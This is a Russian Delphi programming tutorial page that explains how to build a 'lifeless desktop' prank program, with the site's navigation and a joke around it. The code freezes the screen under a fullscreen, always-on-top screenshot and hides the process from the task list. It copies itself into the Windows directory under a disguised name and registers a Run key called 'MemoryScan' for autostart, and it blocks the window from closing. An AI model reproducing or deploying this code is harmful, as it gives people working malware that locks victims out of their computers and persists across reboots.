Недавно добавленные исходники

•  DeLiKaTeS Tetris (Тетрис)  152

•  TDictionary Custom Sort  3 333

•  Fast Watermark Sources  3 084

•  3D Designer  4 842

•  Sik Screen Capture  3 336

•  Patch Maker  3 549

•  Айболит (remote control)  3 654

•  ListBox Drag & Drop  3 012

•  Доска для игры Реверси  81 664

•  Графические эффекты  3 939

•  Рисование по маске  3 244

•  Перетаскивание изображений  2 624

•  Canvas Drawing  2 747

•  Рисование Луны  2 575

•  Поворот изображения  2 184

•  Рисование стержней  2 168

•  Paint on Shape  1 568

•  Генератор кроссвордов  2 233

•  Головоломка Paletto  1 767

•  Теорема Монжа об окружностях  2 227

•  Пазл Numbrix  1 685

•  Заборы и коммивояжеры  2 056

•  Игра HIP  1 282

•  Игра Go (Го)  1 230

•  Симулятор лифта  1 474

•  Программа укладки плитки  1 216

•  Генератор лабиринта  1 547

•  Проверка числового ввода  1 363

•  HEX View  1 497

•  Физический маятник  1 358

 
скрыть


Delphi FAQ - Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |
| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |



Delphi Sources

Безжизненный рабочий стол



Попали в одну, камеру разбойник и хакер. Разбойник:
- Я вот сижу за ограбление магазина... А ты за что сидишь?
Хакер:
- Ограбил банк на 7 миллионов долларов...
Разбойник:
- Да ты че... ни фига себе... как же ты унес их из банка - денег-то офигенно много?
Хакер рассказывает в общих чертах о компьютерах, сетях, взломах и т. д. Разбойник:
- Ну ни фига себе, а как же ты попался?
Хакер:
- Брандмауэр засек и сработала защита...
Разбойник:
- Ах ты... Брандмауэр, твою мать... Всегда знал, что евреев опасаться надо...

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:


procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas:Tcanvas;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;
end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

Событие по созданию окна в конечном итоге должно выглядеть так:


procedure TForm1.FormCreate(Sender: TObject);
var
  ScreenDC: HDC;
  canvas: Tcanvas;
  h: TRegistry;
begin
  ScreenDC:=GetDC(0);
  Canvas:=TCanvas.Create();
  canvas.Handle:=ScreenDC;
  Width:=Screen.Width;
  Height:=Screen.Height;
  Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
  canvas,Rect(0,0,Screen.Width,Screen.Height));
  Releasedc(0,ScreenDC);
  Canvas.Free;

  if not(csDesigning in ComponentState) then
  RegisterServiceProcess(GetCurrentProcessID,1);

  WinDirP := StrAlloc(MAX_PATH);
  Res := GetWindowsDirectory(WinDirP, MAX_PATH);
  if Res > 0 then WinDir := StrPas(WinDirP);

  if FileExists(WinDir+'\OurProgram.com')=false then
  CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);

  h:=TRegistry.Create;
  h.RootKey:=HKEY_LOCAL_MACHINE;
  h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
  h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
  h.CloseKey;
  h.Free;
end;

На событие OnCloseQuery() формы напишем:


CanClose:=false;

На событие OnActivate():


ShowWindow(Application.Handle,sw_Hide);

В области public объявим несколько переменных:


public
  { Public declarations }
  Windir: string;
  WindirP: PChar;
  Res: Cardinal;

А в uses подключим модуль Registry:


uses
  Registry;





Похожие по теме исходники

Механизм вибростола




Copyright © 2004-2024 "Delphi Sources" by BrokenByte Software. Delphi World FAQ

Группа ВКонтакте